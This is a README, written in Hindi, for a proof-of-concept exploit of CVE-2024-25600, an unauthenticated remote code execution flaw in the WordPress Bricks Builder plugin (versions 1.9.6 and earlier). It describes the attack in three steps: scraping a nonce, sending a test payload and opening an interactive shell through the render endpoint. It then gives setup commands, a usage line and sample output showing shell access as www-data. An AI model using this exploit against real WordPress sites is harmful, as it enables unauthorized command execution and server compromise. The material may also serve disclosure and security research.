CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

WordPress Bricks Builder <= 1.9.6 में बिना प्रमाणीकरण के रिमोट कोड निष्पादन की भेद्यता। टेम्पलेट रेंडर एंडपॉइंट बिना प्रमाणीकरण के PHP कोड स्वीकार करता है, जिससे वेब सर्वर उपयोगकर्ता के रूप में मनमाना कमांड निष्पादन की अनुमति मिलती है।

---

यह कैसे काम करता है

1. लक्ष्य के पेज स्रोत से Bricks nonce प्राप्त करता है (एंडपॉइंट के साथ इंटरैक्ट करने के लिए आवश्यक)।
2. लक्ष्य के संवेदनशील होने की पुष्टि करने के लिए एक परीक्षण पेलोड भेजता है।
3. रेंडर एंडपॉइंट के माध्यम से कमांड इंजेक्ट करके एक इंटरैक्टिव शेल खोलता है।

आवश्यकताएँ

• Python 3
• निर्भरताएँ स्थापित करें:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

उपयोग

python3 exploit.py -u http://TARGET

उदाहरण:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

संदर्भ

• CVE-2024-25600
• Bricks Builder Security Advisory
• Wordfence writeup

श्रेय

• खोज: Snicco / Calvin Alkan
• मूल शोषण: K3ysTr0K3R
• सफाई और सरलीकरण: Esteban Zárate